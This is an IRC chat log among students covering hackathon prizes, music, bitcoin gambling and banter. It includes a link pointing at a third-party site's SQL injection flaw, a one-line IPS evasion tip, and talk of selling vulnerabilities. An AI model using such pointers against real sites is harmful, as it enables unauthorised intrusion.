[2015-03-29T16:47:50-0400] <Tamini> is starting to annoy people
[2015-03-29T16:48:57-0400] <Hyper> just get rid of the channel, then there won't be any drama or non-tj kids :)
[2015-03-29T16:49:09-0400] <jwoglom> that's not going to happen, lol
[2015-03-29T16:49:25-0400] <jwoglom> #tjhsst in its current iteration has been around since at least 07
[2015-03-29T16:49:46-0400] <Hyper> not with that attitude it won't
[2015-03-29T16:50:06-0400] <jwoglom> well then
[2015-03-29T16:50:14-0400] <jwoglom> you should totally join the channel and tell them to remove the channel
[2015-03-29T16:50:20-0400] <Hyper> lol
[2015-03-29T16:54:27-0400] <JacobEdelman> See
[2015-03-29T16:54:36-0400] <JacobEdelman> You should ban all non tjs
[2015-03-29T16:54:53-0400] <JacobEdelman> alokpathy would stay
[2015-03-29T16:55:06-0400] <JacobEdelman> And be our under cover troll
[2015-03-29T16:55:13-0400] <jwoglom> unofficially that sort of happens
[2015-03-29T16:55:35-0400] <jwoglom> but #tjhsst isn't that good at adopting consistant rules
[2015-03-29T17:03:43-0400] <+awe> Fill: I'm around now.
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[2015-03-29T17:07:39-0400] <Fill> awe: hum, I don't remember what I was going to say
[2015-03-29T17:19:10-0400] <+awe> Fair enough.
[2015-03-29T17:20:24-0400] <+awe> JacobEdelman: the second prize for HackBCA is better than the first prize lol
[2015-03-29T17:24:23-0400] <sdamashek> awe: lol, gg
[2015-03-29T17:24:31-0400] <sdamashek> it's funny when that happens
[2015-03-29T17:24:43-0400] <+awe> second prize is 4 pebbles, first prize is four Razer keyboards.
[2015-03-29T17:24:58-0400] <sdamashek> huh
[2015-03-29T17:25:01-0400] <+awe> I guess technically the cash value is probably greater, but Razer stuff isn't very good.
[2015-03-29T17:25:01-0400] <sdamashek> what model of keyboard?
[2015-03-29T17:25:05-0400] <+awe> I don't know.
[2015-03-29T17:25:09-0400] <+awe> It just says "Razer keyboard"
[2015-03-29T17:25:11-0400] <sdamashek> because you could always just sell it and get a pebble :P
[2015-03-29T17:27:30-0400] <+awe> Yeah, I guess so.
[2015-03-29T17:28:49-0400] <alokpathy> Lol, third place last year was 4 pebbles.
[2015-03-29T17:28:59-0400] <alokpathy> Our goal was to get 3rd. Not higher and not lower :P
[2015-03-29T17:29:04-0400] <+awe> They're bad at this. :p
[2015-03-29T17:29:08-0400] <sdamashek> I guess the value in the hacker community of a pebble went up? idk
[2015-03-29T17:30:49-0400] <+awe> Woo, awebot builds again!
[2015-03-29T17:31:01-0400] <+awe> It took a PR to Rust to do it, but it works. :D
[2015-03-29T17:57:27-0400] <ubuntor> yay!
[2015-03-29T18:04:16-0400] <alokpathy> :D
[2015-03-29T18:07:48-0400] <LittleBobbyTables> razer is shit.
[2015-03-29T18:24:56-0400] <+awe> Yup.
[2015-03-29T18:24:58-0400] <+awe> I agree.
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[2015-03-29T18:35:24-0400] <z3t> yo yo
[2015-03-29T18:39:46-0400] <alokpathy> z3t: yo yo yo
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[2015-03-29T19:41:10-0400] <z3t> someone say something controversial so we can be up debating until 3am again pls
[2015-03-29T19:42:26-0400] <LittleBobbyTables> give me site pls
[2015-03-29T19:44:52-0400] <z3t> lolno
[2015-03-29T19:46:03-0400] <LittleBobbyTables> pls
[2015-03-29T19:46:12-0400] <LittleBobbyTables> i wanna see if i can find all vulnerabilities
[2015-03-29T19:46:57-0400] <ubuntor> blast it with skipfish
[2015-03-29T19:48:25-0400] <Fill> awe: what keyboard do you have/
[2015-03-29T19:48:31-0400] <Fill> ?
[2015-03-29T19:49:13-0400] <ubuntor> https://en.wikipedia.org/wiki/Talk:0.999.../Arguments
[2015-03-29T19:55:35-0400] <z3t> interesting
[2015-03-29T20:00:36-0400] <z3t> don't see how people get so involved in an argument about that...
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[2015-03-29T20:25:55-0400] <ubuntor> ooh, chromeos with material design
[2015-03-29T20:26:39-0400] <jwoglom> oh wow
[2015-03-29T20:26:49-0400] <jwoglom> http://hothardware.com/news/chrome-os-receives-extreme-makeover-with-material-design-and-google-now-support
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[2015-03-29T20:50:32-0400] <sdamashek> jwoglom: YES
[2015-03-29T20:51:02-0400] <jwoglom> #materialduarte
[2015-03-29T20:51:32-0400] <sdamashek> oh, yeah I'm already on beta channel and have that stuff
[2015-03-29T20:52:00-0400] <sdamashek> I noticed the changes, but didn't think much of them :P
[2015-03-29T20:52:01-0400] <JacobEdelman> so tired
[2015-03-29T20:53:44-0400] <z3t> JacobEdelman: I finally got adblock to install, jerk.
[2015-03-29T20:55:56-0400] <ubuntor> hm?
[2015-03-29T20:56:11-0400] <JacobEdelman> z3t: i figured out what happneed I think
[2015-03-29T20:56:47-0400] <JacobEdelman> that popcorntime version just copied everything from another (open source) popcorn time version accept they added viruses to the windows part
[2015-03-29T20:57:18-0400] <JacobEdelman> ubuntor: he downloaded a version of popcorn time which I assumed to be free from viruses since it had a linux version and I had no trouble with the linux version
[2015-03-29T20:57:26-0400] <JacobEdelman> turns out the windows version was full of viruses
[2015-03-29T20:57:31-0400] <ubuntor> ...nice
[2015-03-29T20:57:37-0400] <z3t> yeah..
[2015-03-29T20:57:55-0400] <jwoglom> yay windows apps!
[2015-03-29T21:11:10-0400] <z3t> jwoglom: say something that awe disagrees with pls
[2015-03-29T21:11:50-0400] <jwoglom> hm
[2015-03-29T21:11:57-0400] <nickthename> so, literally anything
[2015-03-29T21:12:06-0400] <z3t> good point
[2015-03-29T21:12:27-0400] <jwoglom> northern virginia isn't all rich people.
[2015-03-29T21:14:14-0400] <z3t> he disagrees with that?
[2015-03-29T21:14:44-0400] <jwoglom> he seems to
[2015-03-29T21:14:54-0400] <jwoglom> it came up once before iirc
[2015-03-29T21:15:27-0400] <z3t> tf
[2015-03-29T21:40:22-0400] <alokpathy> Lol this qdb.
[2015-03-29T21:44:43-0400] <Hyper> ^
[2015-03-29T21:46:10-0400] <Hyper> Dat get request on the bottom doe
[2015-03-29T21:53:28-0400] <alokpathy> Yeah xD
[2015-03-29T22:02:18-0400] <LittleBobbyTables> z3t
[2015-03-29T22:02:21-0400] <LittleBobbyTables> find anything else?
[2015-03-29T22:12:51-0400] <z3t> haven't been looking at it LBT
[2015-03-29T22:13:06-0400] <LittleBobbyTables> You make me sad
[2015-03-29T22:14:07-0400] <z3t> soz
[2015-03-29T22:14:17-0400] <z3t> I feel like gambling the BTC he gave me 
[2015-03-29T22:14:47-0400] <LittleBobbyTables> the 10 dollars that you won't get anything from
[2015-03-29T22:16:15-0400] <z3t> sh
[2015-03-29T22:16:26-0400] <z3t> i can dream
[2015-03-29T22:16:57-0400] <Tamini> lol
[2015-03-29T22:17:08-0400] <Tamini> gamble it away on his site
[2015-03-29T22:18:50-0400] <z3t> hehe
[2015-03-29T22:19:24-0400] <LittleBobbyTables> Then hack them back
[2015-03-29T22:19:25-0400] <LittleBobbyTables> when you lose
[2015-03-29T22:23:22-0400] <z3t> go play with this yale sqli LittleBobbyTables http://yalepress.yale.edu/yupbooks/SeriesIndex.asp?Initial=O%27
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[2015-03-29T23:03:54-0400] <LittleBobbyTables> z3t: but that won't make me money
[2015-03-29T23:04:29-0400] <z3t> eh
[2015-03-29T23:06:48-0400] <LittleBobbyTables> it's ips'd though
[2015-03-29T23:07:27-0400] <ubuntor> hone your evasion skills
[2015-03-29T23:07:34-0400] <LittleBobbyTables> I did
[2015-03-29T23:07:37-0400] <LittleBobbyTables> I changed it to 2=2
[2015-03-29T23:07:42-0400] <LittleBobbyTables> completely bypassed
[2015-03-29T23:07:59-0400] <alokpathy> lelwut
[2015-03-29T23:08:22-0400] <ubuntor> ...
[2015-03-29T23:09:00-0400] <LittleBobbyTables> true story
[2015-03-29T23:09:03-0400] <LittleBobbyTables> go try it
[2015-03-29T23:14:07-0400] <z3t> oh shit
[2015-03-29T23:14:13-0400] <z3t> this kid just sent me .2 BTC
[2015-03-29T23:14:23-0400] <z3t> I didn't even give him another vuln....
[2015-03-29T23:14:46-0400] <LittleBobbyTables> 50 bucks
[2015-03-29T23:15:17-0400] <z3t> see, vulnerability reporting pays too LittleBobbyTables!
[2015-03-29T23:15:34-0400] <LittleBobbyTables> When it's worth it, yes.
[2015-03-29T23:15:37-0400] <LittleBobbyTables> But 20 bucks isn't.
[2015-03-29T23:16:58-0400] <LittleBobbyTables> Especially for something so major.
[2015-03-29T23:17:58-0400] <z3t> eh
[2015-03-29T23:18:26-0400] <z3t> it's just unethical to steal like that
[2015-03-29T23:18:35-0400] • z3t: hopes awe doesn't jump in
[2015-03-29T23:19:14-0400] <LittleBobbyTables> Then don't steal it.
[2015-03-29T23:19:19-0400] <LittleBobbyTables> Sell the information.
[2015-03-29T23:19:44-0400] <z3t> and indirectly allow someone else to steal it.
[2015-03-29T23:19:54-0400] <z3t> still unethical in my eyes.
[2015-03-29T23:23:59-0400] <LittleBobbyTables> People sell information all the time.
[2015-03-29T23:25:51-0400] <z3t> That doesn't make it ethical (in this case)
[2015-03-29T23:26:07-0400] <alokpathy> Let it be known that Tamini just found out Cornell and Penn were ivies.
[2015-03-29T23:26:35-0400] <Tamini> shush
[2015-03-29T23:27:41-0400] <LittleBobbyTables> .......?
[2015-03-29T23:27:42-0400] <LittleBobbyTables> really
[2015-03-29T23:28:36-0400] <z3t> lol.
[2015-03-29T23:51:41-0400] <ubuntor> http://www.digitaltrends.com/web/fcc-lawsuit-net-neutrality/
[2015-03-29T23:52:16-0400] <ubuntor> lol
[2015-03-29T23:55:28-0400] <Tamini> im a little bit stupid okay
[2015-03-29T23:55:55-0400] <alokpathy> It's okay. I'm more.
[2015-03-29T23:58:17-0400] <Tamini> no pls
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[2015-03-30T00:04:32-0400] <z3t> oh cool tjctf on the 20th
[2015-03-30T00:06:52-0400] <alokpathy> Oh, right.
[2015-03-30T00:10:30-0400] <Pharyngeal> awe: What music do you listen to
[2015-03-30T00:10:44-0400] <bob_twinkles> crap I need to write problems for that
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[2015-03-30T00:10:59-0400] <alokpathy> Pharyngeal: Mozart, usually.
[2015-03-30T00:11:05-0400] <alokpathy> Occassionally Beethoven.
[2015-03-30T00:11:19-0400] <Pharyngeal> alokpathy: you, or him?
[2015-03-30T00:11:22-0400] <alokpathy> Him
[2015-03-30T00:11:23-0400] <Pharyngeal> And interesting
[2015-03-30T00:11:24-0400] <alokpathy> :P
[2015-03-30T00:11:25-0400] <Pharyngeal> You?.
[2015-03-30T00:11:27-0400] <alokpathy> I'm kidding around xD
[2015-03-30T00:11:30-0400] <alokpathy> Uhh, I vary a lot
[2015-03-30T00:11:49-0400] <alokpathy> Hip hop, rap, pop, rock, foreign, usually
[2015-03-30T00:11:51-0400] <alokpathy> You?
[2015-03-30T00:12:18-0400] <Pharyngeal> Recently, electronic, hip hop and rock with a bit of Jazz and/or Blues
[2015-03-30T00:12:57-0400] <z3t> http://puushstatus.tumblr.com/ shit
[2015-03-30T00:13:11-0400] <ubuntor> rip
[2015-03-30T00:13:38-0400] <LittleBobbyTables> who's more stupider, tamini or apothy
[2015-03-30T00:14:03-0400] <Pharyngeal> Why are they stupid?
[2015-03-30T00:14:13-0400] <LittleBobbyTables> idk
[2015-03-30T00:14:14-0400] <LittleBobbyTables> they said so
[2015-03-30T00:14:16-0400] <Pharyngeal> Oh
[2015-03-30T00:14:17-0400] <LittleBobbyTables> >puush_is_sorry.exe
[2015-03-30T00:17:49-0400] <LittleBobbyTables> I promise this wasn't me.
[2015-03-30T00:34:01-0400] <z3t> imma sleep, gn all
[2015-03-30T00:34:03-0400] <z3t> /afk
[2015-03-30T00:36:33-0400] <alokpathy> z3t: G'night.
[2015-03-30T00:37:05-0400] <alokpathy> Pharyngeal: Oh, yeah, I listen to some electronic too.
[2015-03-30T01:19:17-0400] <+awe> Pharyngeal: I listen to a large variety of music.
[2015-03-30T01:19:37-0400] <+awe> Pharyngeal: I used to primarily listen to indie folk, and indie rock (mostly folk).
[2015-03-30T01:19:44-0400] <+awe> Pharyngeal: More recently, I listen to a lot more rap.
[2015-03-30T01:19:56-0400] <+awe> Pharyngeal: I'm really big on Brooklyn rap.
[2015-03-30T01:20:19-0400] <+awe> Pharyngeal: Primarily because I need it to be conscious in order to really thoroughly enjoy listening to it.
[2015-03-30T01:26:14-0400] <+awe> Pharyngeal: To clarify, I did listen to Beethoven a lot at a point.
[2015-03-30T01:26:30-0400] <+awe> Pharyngeal: My favorite composer is Philip Glass though, followed by Erik Satie. 
[2015-03-30T01:27:34-0400] <alokpathy> I was somewhat right.
[2015-03-30T01:27:37-0400] <alokpathy> ...sorta.
[2015-03-30T01:28:04-0400] <+awe> In junior year, I used to listen to Beethoven quite a bit.
[2015-03-30T01:28:23-0400] <+awe> In fact, I have a digital copy of a 100 disk set of Beethoven recordings.
[2015-03-30T01:28:28-0400] <+awe> It's roughly 1,500 songs.
[2015-03-30T01:28:40-0400] <+awe> Well, 1,500 tracks.
[2015-03-30T01:29:13-0400] <+awe> i've still never listened to anywhere near all of them.
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[2015-03-30T01:40:36-0400] <LittleBobbyTables> hipster
[2015-03-30T01:40:47-0400] <LittleBobbyTables> so apparently
[2015-03-30T01:40:50-0400] <LittleBobbyTables> weddingsgonewild is a sub
[2015-03-30T01:44:11-0400] <Tamini_> you what now
[2015-03-30T01:44:36-0400] <LittleBobbyTables> reddit.com/r/weddingsgonewild
[2015-03-30T01:44:38-0400] <LittleBobbyTables> NSFW
[2015-03-30T01:44:39-0400] <LittleBobbyTables> but still
[2015-03-30T02:05:16-0400] <ubuntor> ???
[2015-03-30T02:06:01-0400] <LittleBobbyTables> why is that a sub
[2015-03-30T02:10:47-0400] <LittleBobbyTables> gn
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[2015-03-30T06:27:32-0400] <JacobEdelman> Gmorning
[2015-03-30T06:37:08-0400] <JacobEdelman> @tell hardmath123 when are you returning
[2015-03-30T06:37:08-0400] <+awebot> JacobEdelman: I'll let them know!
[2015-03-30T06:50:56-0400] <JacobEdelman> @tell awe http://hardmath123.github.io/use-imperfect-tools.html
[2015-03-30T06:50:56-0400] <+awebot> JacobEdelman: I'll let them know!
[2015-03-30T06:50:56-0400] <JacobEdelman> @tell awe http://hardmath123.github.io/use-imperfect-tools.html
[2015-03-30T06:50:57-0400] <+awebot> JacobEdelman: I'll let them know!
[2015-03-30T06:50:58-0400] <JacobEdelman> @tell awe http://hardmath123.github.io/use-imperfect-tools.html
[2015-03-30T06:50:58-0400] <+awebot> JacobEdelman: I'll let them know!
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[2015-03-30T10:43:47-0400] <LittleBobbyTables> Man, you really want awe to use that
[2015-03-30T12:01:39-0400] <+awe> Okay, I just read it.
[2015-03-30T12:01:39-0400] <+awebot> awe: 5 hours ago, JacobEdelman said http://hardmath123.github.io/use-imperfect-tools.html.
[2015-03-30T12:01:40-0400] <+awebot> awe: 5 hours ago, JacobEdelman said http://hardmath123.github.io/use-imperfect-tools.html.
[2015-03-30T12:01:40-0400] <+awebot> awe: 5 hours ago, JacobEdelman said http://hardmath123.github.io/use-imperfect-tools.html.
[2015-03-30T12:01:50-0400] <+awe> hardmath123: I'll respond to you about it later, but I have to go to class.
[2015-03-30T12:03:20-0400] <jwoglom> class? nah, you don't have to go to that :P
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[2015-03-30T13:10:33-0400] <JacobEdelman> its actually an oldish blog post
[2015-03-30T13:10:45-0400] <JacobEdelman> has hardmath123 been around recently?
[2015-03-30T13:23:21-0400] <Tamini> yes
[2015-03-30T13:23:23-0400] <Tamini> sort of
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[2015-03-30T13:46:45-0400] <+awe> jwoglom: I probably could've skipped no problem. All we did today was double integrals of regions bounded by two functions.
[2015-03-30T13:55:00-0400] <+awe> Lol.
[2015-03-30T13:55:05-0400] <+awe> I think I just accidentally picked up an Anthro minor.
[2015-03-30T13:58:01-0400] <jwoglom> heh
[2015-03-30T13:59:20-0400] <+awe> For reals, I'm going to meet the requirements for an Anthro minor by accident.
[2015-03-30T13:59:50-0400] <z3t> morning
[2015-03-30T14:15:52-0400] <+awe> hi z3t.
[2015-03-30T14:23:32-0400] <z3t> hi awe
[2015-03-30T14:25:06-0400] <apothy> Hi z3t 
[2015-03-30T14:31:42-0400] <z3t> Hi apothy 
[2015-03-30T14:31:55-0400] <Coast> hey everyone
[2015-03-30T14:32:08-0400] <z3t> hey Coast
[2015-03-30T14:32:12-0400] <Coast> c-c-combo breaker
[2015-03-30T14:32:14-0400] <+awe> hey Coast
[2015-03-30T14:32:25-0400] <Coast> I'm very happy today
[2015-03-30T14:32:31-0400] <+awe> That's good to hear!
[2015-03-30T14:32:31-0400] <+awe> Why?
[2015-03-30T14:32:49-0400] <Coast> well because, starting today, I am Editor-in-Chief of the student magazine
[2015-03-30T14:33:04-0400] <Coast> which, in my eyes, is super cool
[2015-03-30T14:33:40-0400] <apothy> Ayy
[2015-03-30T14:33:42-0400] <apothy> Coast: Congrats :D
[2015-03-30T14:33:53-0400] <Coast> thank you!
[2015-03-30T14:34:07-0400] <Coast> I am important now
[2015-03-30T14:37:26-0400] <+awe> Ah, yeah, congratulations.
[2015-03-30T14:38:02-0400] <Coast> :D
[2015-03-30T14:48:07-0400] <+awe> http://www.wikihow.com/Be-a-Communist
[2015-03-30T14:48:14-0400] <+awe> Guys, I had my doubts, but WikiHow was able to clarify things a lot.
[2015-03-30T14:50:29-0400] <apothy> lel nice xD
[2015-03-30T14:50:37-0400] <+awe> Oh, and for those of you who need it, http://www.wikihow.com/Be-Okay-with-Having-a-Communist-Friend
[2015-03-30T14:51:47-0400] <z3t> I prefer http://www.wikihow.com/Become-a-Dictator
[2015-03-30T14:54:12-0400] <+awe> TIL Hitler was a vegetarian.
[2015-03-30T15:22:50-0400] <z3t> time to gamble some BTC :D
[2015-03-30T15:25:19-0400] <ubuntor> and lose it all?
[2015-03-30T15:26:43-0400] <jwoglom> z3t: why gamble?
[2015-03-30T15:26:49-0400] <jwoglom> do you have any other bitcoin?
[2015-03-30T15:27:57-0400] <+awe> Why gamble when you could steal?
[2015-03-30T15:28:43-0400] <jwoglom> i would highly suggest just holding on to it
[2015-03-30T15:28:50-0400] <jwoglom> check back on it in a few years
[2015-03-30T15:31:17-0400] <ubuntor> that market price downward trend :/
[2015-03-30T15:31:42-0400] <jwoglom> 1btc was $1200 in november 2013 :(
[2015-03-30T15:31:45-0400] <jwoglom> i cry
[2015-03-30T15:34:56-0400] <ubuntor> 10 cents in btc
[2015-03-30T15:35:27-0400] <jwoglom> one day..one day it will rise again..
[2015-03-30T15:36:09-0400] <z3t> i'm just gambling $1
[2015-03-30T15:36:13-0400] <z3t> I have $60 more lol
[2015-03-30T15:46:26-0400] <ubuntor> buy games
[2015-03-30T15:58:09-0400] <z3t> i already have games 
[2015-03-30T15:58:51-0400] <Hyper> z3t: get more games
[2015-03-30T16:00:32-0400] <z3t> i don't need more games
[2015-03-30T16:13:51-0400] <JacobEdelman> z3t: really? gambling it away just seems... stupid
[2015-03-30T16:20:05-0400] <z3t> you seem stupid
[2015-03-30T16:22:59-0400] <JacobEdelman> your face seems stupid
[2015-03-30T16:23:15-0400] <JacobEdelman> (I feel pdgn has reached a new level of literary sophistication)
[2015-03-30T16:24:47-0400] <JacobEdelman> Coast: congrats
[2015-03-30T16:25:05-0400] <Coast> JacobEdelman, thank you!
[2015-03-30T16:25:43-0400] <Coast> I'm very excited and stuff
[2015-03-30T16:26:41-0400] <JacobEdelman> awe: http://www.wikihow.com/Create-a-Political-Scandal
[2015-03-30T16:26:47-0400] <JacobEdelman> awe: wikihow ftw
[2015-03-30T16:43:12-0400] <nickthename> JacobEdelman: rofl
[2015-03-30T17:05:25-0400] <JacobEdelman> I'm listening to an old tv show for apush
[2015-03-30T17:05:48-0400] <JacobEdelman> an ad for a car just said the car "makes turning the steering wheel as easy as dialing a phone"
[2015-03-30T17:06:26-0400] <jwoglom> ha, that's an old analogy :P
[2015-03-30T17:45:51-0400] <z3t> I have now learned that gambling is bad.
[2015-03-30T17:45:57-0400] <+awe> z3t: did you lose your $1.
[2015-03-30T17:46:05-0400] <z3t> almost
[2015-03-30T17:46:09-0400] <z3t> earning it back :)
[2015-03-30T17:47:41-0400] <JacobEdelman> inb4 he looses it again
[2015-03-30T17:47:50-0400] <JacobEdelman> groucho marx is awesome
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[2015-03-30T18:07:09-0400] <z3t> k lost it all
[2015-03-30T18:07:10-0400] <z3t> gg
[2015-03-30T18:07:19-0400] <z3t> i am not a smart person
[2015-03-30T18:24:44-0400] <nickthename> shocking
[2015-03-30T18:29:13-0400] <JacobEdelman> wow
[2015-03-30T18:29:17-0400] <JacobEdelman> lost all the dollar
[2015-03-30T18:29:21-0400] <JacobEdelman> or all the 60 dollars?
[2015-03-30T18:30:50-0400] <ubuntor> this is an important question
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[2015-03-30T18:38:51-0400] <JacobEdelman> inb4 he only lost one dollar but is betting another one right now
[2015-03-30T18:51:34-0400] <z3t> yes lost dollar
[2015-03-30T19:08:26-0400] <JacobEdelman> another dollar?
[2015-03-30T19:08:30-0400] <JacobEdelman> or is it just the one?
[2015-03-30T19:15:40-0400] <jwoglom> z3t: I guess now you see that gambling usually doesn't turn into profit :P
[2015-03-30T19:21:41-0400] <apothy> But if you do it right, it can :P
[2015-03-30T19:24:11-0400] <LittleBobbyTables> Yeah, if you're the owner.
[2015-03-30T19:45:13-0400] <JacobEdelman> wait
[2015-03-30T19:45:16-0400] <JacobEdelman> GUYS
[2015-03-30T19:45:22-0400] <JacobEdelman> MY EYES ARE SPHERES!
[2015-03-30T19:45:40-0400] <JacobEdelman> apothy: I'll bet you ten dollars you can't
[2015-03-30T19:51:43-0400] <z3t> selling soul for BTC
[2015-03-30T19:53:13-0400] <alokpathy> JacobEdelman: I never said I could
[2015-03-30T19:53:15-0400] <alokpathy> ;P
[2015-03-30T19:53:23-0400] <JacobEdelman> lol
[2015-03-30T19:54:55-0400] <JacobEdelman> hey, I'm so smart, I can do conjunctive simplification in my head
[2015-03-30T19:59:38-0400] <JacobEdelman> z3t: where do you go to school?
[2015-03-30T19:59:49-0400] <JacobEdelman> (within a 400 mile radius
[2015-03-30T19:59:50-0400] <JacobEdelman> )
[2015-03-30T20:00:04-0400] <JacobEdelman> I'm curious 
[2015-03-30T20:00:12-0400] <alokpathy> JacobEdelman: He's in FCPS I believe.
[2015-03-30T20:00:31-0400] <JacobEdelman> hey, I'm so smart, I can do conjunctive simplification in my head
[2015-03-30T20:00:33-0400] <JacobEdelman> wait
[2015-03-30T20:00:35-0400] <JacobEdelman> wrong copy and paste
[2015-03-30T20:00:37-0400] <JacobEdelman> fcps.net
[2015-03-30T20:00:52-0400] <alokpathy> Nop.
[2015-03-30T20:00:52-0400] <JacobEdelman> oh wait
[2015-03-30T20:00:53-0400] <JacobEdelman> http://www.fcps.edu/index.shtml
[2015-03-30T20:01:01-0400] <alokpathy> Yop.
[2015-03-30T20:01:17-0400] <JacobEdelman> off to talk to hackedu people
[2015-03-30T20:01:27-0400] <alokpathy> JacobEdelman: Good luck have fun.
[2015-03-30T20:01:37-0400] <alokpathy> JacobEdelman: Don't die unless it's for the greater good.
[2015-03-30T20:02:59-0400] <+awe> JacobEdelman: Trevor Noah is replacing Jon Stewart. 
[2015-03-30T20:03:20-0400] <alokpathy> Hm..I don't know how I feel about that.
[2015-03-30T20:03:22-0400] <+awe> I might actually start watching the Daily Show regularly now.
[2015-03-30T20:03:29-0400] <alokpathy> You didn't like Jon?
[2015-03-30T20:03:38-0400] <+awe> No, I do. He just was never enough for me to watch it all the time.
[2015-03-30T20:03:44-0400] <+awe> But Trevor Noah is awesome.
[2015-03-30T20:03:54-0400] <alokpathy> I haven't seen much of him, lol.
[2015-03-30T20:04:07-0400] <+awe> He's really funny.
[2015-03-30T20:04:22-0400] <alokpathy> ye
[2015-03-30T20:04:41-0400] <alokpathy> I liked Jason Jones
[2015-03-30T20:04:46-0400] <alokpathy> but then he went all diperoni pepperoni
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[2015-03-30T20:11:53-0400] <alokpathy> jake: Welcome to pdgn! :D
[2015-03-30T20:14:10-0400] <jake> uh
[2015-03-30T20:14:25-0400] <alokpathy> :|
[2015-03-30T20:14:29-0400] <jake> it's z3t but z3t is taken?
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[2015-03-30T20:15:17-0400] <+awe> jake: z3t is available again.
[2015-03-30T20:15:23-0400] jake is now known as z2t
[2015-03-30T20:15:25-0400] <z2t> er
[2015-03-30T20:15:27-0400] z2t is now known as z3t
[2015-03-30T20:16:06-0400] <alokpathy> Oh hi
[2015-03-30T20:16:08-0400] <alokpathy> xD
[2015-03-30T20:16:10-0400] <alokpathy> I thought you were new.
[2015-03-30T20:16:13-0400] <z3t> nah
[2015-03-30T20:16:24-0400] <z3t> weechat just connected with account name 
[2015-03-30T20:18:30-0400] <JacobEdelman> wait
[2015-03-30T20:18:39-0400] <JacobEdelman> z3t is a jacob!
[2015-03-30T20:18:41-0400] <JacobEdelman> woooo!
[2015-03-30T20:18:48-0400] <JacobEdelman> there are three of us now!
[2015-03-30T20:18:53-0400] <JacobEdelman> we will take over!!
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[2015-03-30T20:19:24-0400] <JacobEdelman> does that count as a fourth?
[2015-03-30T20:20:11-0400] <+awe> I think there _are_ four jacobs.
[2015-03-30T20:20:37-0400] <jwoglom> JacobEdelman: our FCPS actually owns a .edu domain :P
[2015-03-30T20:21:52-0400] <z3t> fcps ftw
[2015-03-30T20:21:55-0400] <z3t> sorta
[2015-03-30T20:28:19-0400] <ubuntor> http://www.itworld.com/article/2903835/silk-road-investigators-charged-with-stealing-bitcoin.html
[2015-03-30T20:29:14-0400] <LittleBobbyTables> that's old news
[2015-03-30T20:34:13-0400] <Tamini> wait, there are four jacobs
[2015-03-30T20:34:18-0400] <Tamini> holy crap, they're taking over the universe
[2015-03-30T20:34:49-0400] <jwoglom> wait, z3t's name is jacob?
[2015-03-30T20:34:54-0400] <Tamini> quick, bring back sammyberger so we can have a balanced number.
[2015-03-30T20:35:00-0400] <jwoglom> can we expand the world domination plans to include all j names? :P
[2015-03-30T20:35:18-0400] <LittleBobbyTables> His name is Jacob, yes.
[2015-03-30T20:35:38-0400] <JacobEdelman> jwoglom: hmmm.. You'll have to apply
[2015-03-30T20:35:44-0400] <JacobEdelman> First question
[2015-03-30T20:35:47-0400] <JacobEdelman> Name?
[2015-03-30T20:35:49-0400] <jwoglom> James
[2015-03-30T20:35:55-0400] <JacobEdelman> Rejected
[2015-03-30T20:35:58-0400] <JacobEdelman> Wrong
[2015-03-30T20:35:59-0400] <jwoglom> harsh.
[2015-03-30T20:35:59-0400] <JacobEdelman> Fail
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[2015-03-30T20:38:28-0400] <LittleBobbyTables> jwoglom: what's your first name?
[2015-03-30T20:39:00-0400] <ubuntor> j
[2015-03-30T20:39:02-0400] <jwoglom> LittleBobbyTables: the first character is a J
[2015-03-30T20:39:09-0400] <ubuntor> jay
[2015-03-30T20:39:33-0400] <Tamini> wait um
[2015-03-30T20:39:36-0400] <Tamini> who's the fourth jacob
[2015-03-30T20:40:00-0400] <LittleBobbyTables> z3t
[2015-03-30T20:40:03-0400] <Tamini> um
[2015-03-30T20:40:11-0400] <Tamini> JacobEdelman, LittleBobbyTables z3t 
[2015-03-30T20:40:12-0400] <Tamini> is three
[2015-03-30T20:40:32-0400] <jwoglom> Tamini: he counted JacobBot
[2015-03-30T20:40:36-0400] <LittleBobbyTables> JacobBot
[2015-03-30T20:40:38-0400] <LittleBobbyTables> ya
[2015-03-30T20:41:12-0400] <Tamini> ah
[2015-03-30T20:41:40-0400] <jwoglom> well then, I can offer 2 more j names to your organization
[2015-03-30T20:41:43-0400] <jwoglom> :P
[2015-03-30T20:42:24-0400] <LittleBobbyTables> Jew and James?
[2015-03-30T20:42:27-0400] <z3t> jacobs ftw
[2015-03-30T20:42:39-0400] <Tamini> that's racist
[2015-03-30T20:42:47-0400] <jwoglom> uh, jew?
[2015-03-30T20:42:50-0400] <jwoglom> where did that come from
[2015-03-30T20:45:16-0400] <z3t> gambling $0.05 now
[2015-03-30T20:45:23-0400] <z3t> #baller
[2015-03-30T20:45:54-0400] <ubuntor> you shouldn't gamble away all your money :P
[2015-03-30T20:45:57-0400] <Tamini> nice
[2015-03-30T20:46:10-0400] <z3t> I mean
[2015-03-30T20:46:24-0400] <z3t> I could always go the LittleBobbyTables and steal it back
[2015-03-30T20:47:10-0400] <LittleBobbyTables> orrrrrr
[2015-03-30T20:47:20-0400] <LittleBobbyTables> jwoglom: it starts with a j
[2015-03-30T20:47:56-0400] <Tamini> JacobEdelman: that hat in your fb picture
[2015-03-30T20:47:59-0400] <Tamini> i have no words
[2015-03-30T20:49:30-0400] <JacobEdelman> its awesome
[2015-03-30T20:49:34-0400] <JacobEdelman> I should wear it more often
[2015-03-30T20:49:39-0400] <JacobEdelman> I meant too wear it all the time
[2015-03-30T20:49:41-0400] <z3t> link pls Tamini 
[2015-03-30T20:49:42-0400] <JacobEdelman> but forgot about it
[2015-03-30T20:50:03-0400] <JacobEdelman> https://scontent-lga.xx.fbcdn.net/hphotos-xpf1/v/t1.0-9/11083854_1559438154337617_7752315501666192979_n.jpg?oh=ee2d08a20566f0cc817ed5d6ec792170&oe=559DD725
[2015-03-30T20:50:55-0400] <JacobEdelman> LittleBobbyTables: we have ... at least as many jews as jacobs I'm guessing
[2015-03-30T20:51:00-0400] <JacobEdelman> I'm jewish, awe's jewish
[2015-03-30T20:51:21-0400] <JacobEdelman> I'm guessing at least one other jew I'm not aware of
[2015-03-30T20:51:27-0400] <JacobEdelman> and JacobBot is jewish
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[2015-03-30T20:52:10-0400] <JacobEdelman> ?fortune
[2015-03-30T20:52:11-0400] <JacobBot> In the future I see that within 7 weeks your son will be overwelmed by an imporant student.
[2015-03-30T20:52:16-0400] <JacobEdelman> wow
[2015-03-30T20:52:19-0400] <JacobEdelman> such wisdom
[2015-03-30T20:52:51-0400] <jwoglom> >imporant
[2015-03-30T20:57:39-0400] <z3t> $0.05 gone already
[2015-03-30T20:57:42-0400] <z3t> I should never go to las vegas
[2015-03-30T20:57:56-0400] <jwoglom> maybe you should just stop gambling
